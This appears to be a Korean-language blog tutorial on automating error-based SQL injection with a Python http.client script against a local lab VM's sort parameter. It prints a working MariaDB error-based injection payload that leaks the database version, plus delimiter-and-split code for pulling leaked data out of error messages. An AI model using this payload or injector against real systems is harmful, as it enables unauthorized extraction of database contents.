[Python] HTTP.REQUEST

 

HTTP.REQUEST 


 SQL 인젝터 


Error 기반 SQL 인젝션 기법으로 데이터를 획득하기 위해 레코드의 행의 개수 만큼 공격 시도가 필요합니다 . 
레코드 개수가 증가하면 그만큼 요청 횟수도 증가하며 수작업으로 데이터를 획득하기에는 점점 어려움이 발생합니다 .
이런 경우에 스크립트 언어를 사용하면 간단하게 해결됩니다.





따라서 지금까지 수행한 SQL 인젝터 공격을 파이썬을 통해 자동화 구현을 해보겠습니다 . 

Error 기반 SQL 인젝션 기법은 에러 메세지에서 데이터가 노출 되기 때문에  HTTP 요청기능만 구현하면 간단하게 데이터 획득이 가능합니다 . 






Error기반 SQL 인젝터는 다음과 같은 순서로 개발이 가능합니다 . 











HTTP.REQUEST


파이썬 구문을 이용하여 SQL 공격 구문을 전송하기 위해 HTTP GET, POST 요청 스크립트를 작성해야 합니다 . 

#-*- coding: utf-8 -*-
import http.client
import urllib

headers = { "User-Agent" : "Mozilla/5.0 (Window NT 10.0; Win64; x64) AppleWebKit/537.36
(
KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",
"Content-type": "application/x-www-form-urlencoded","Accept": "text/html",
"Connection": "keep-alive"}

domain = "192.168.85.130" # 가상머신 IP , 도메인 이름
url = "/mysql_sort.php"
params = "sort=1"

conn = http.client.HTTPConnection(domain,"80")
#conn = httplib.HTTPSCOnection(domain, "443")
conn.request("GET", url + "?" + params,None,headers)
#conn.request("POST",url,params,headers)
response = conn.getresponse().read()
print (response)





실행하면 응답 결과가 텍스트로 출력됩니다 








SQL 인젝터는 에러 메세지의 데이터만 획득하면 되기 때문에 응답결과 텍스트로 충분합니다 .
이어서 DB의 에러메세지에 버전 정보가 노출되도록 params에 에러 유발 구문을 주입합니다 . 
params = "sort=(select+1+from(select+count(*),concat(version(),floor(rand(0)*2))a+from+information_schema.tables+group+by+a)T)%23"












Mariadb 버전 정보가 노출 되었습니다 .

인젝터는 에러 메세지에 노출된 버전 정보만 필요하기 때문에 해당 정보를 추출 하기 위한
구분 식별자를 추가해야합니다.

delims = "!~!~!"
domain = "192.168.85.130"
url = "/mysql_sort.php"
params = "sort=(select+1+from(select+count(*),concat('" + delims + "',version(),
'" + delims + "',
floor(rand(0)*2))a+from+information_schema.tables+group+by+a)T)%23"




에러 메세지에 구분 식별자가 추가되었습니다 .
이어서 구분 식별자를 이용하여 데이터를 추출 해보겠습니다.




가장 간단한 방법으로 split 함수를 이용하여 구분 식별자를 기준으로 배열을 생성하는 방식입니다.

위의 사진과 같이 식별자를 기준으로 다음과같은 배열이 형성됩니다 .




생성된 배열의 1번에는 항상 힉득하고자 하는 데이터가 위치합니다 .

해당 데이터만 획득하기 위해서 배열 1번의 값을 출력하는 코드로 수정합니다.

print (response.split(delims)[1])

그러면 1번에 해당하는 MariaDB 버전만 출력하게 됩니다 .

댓글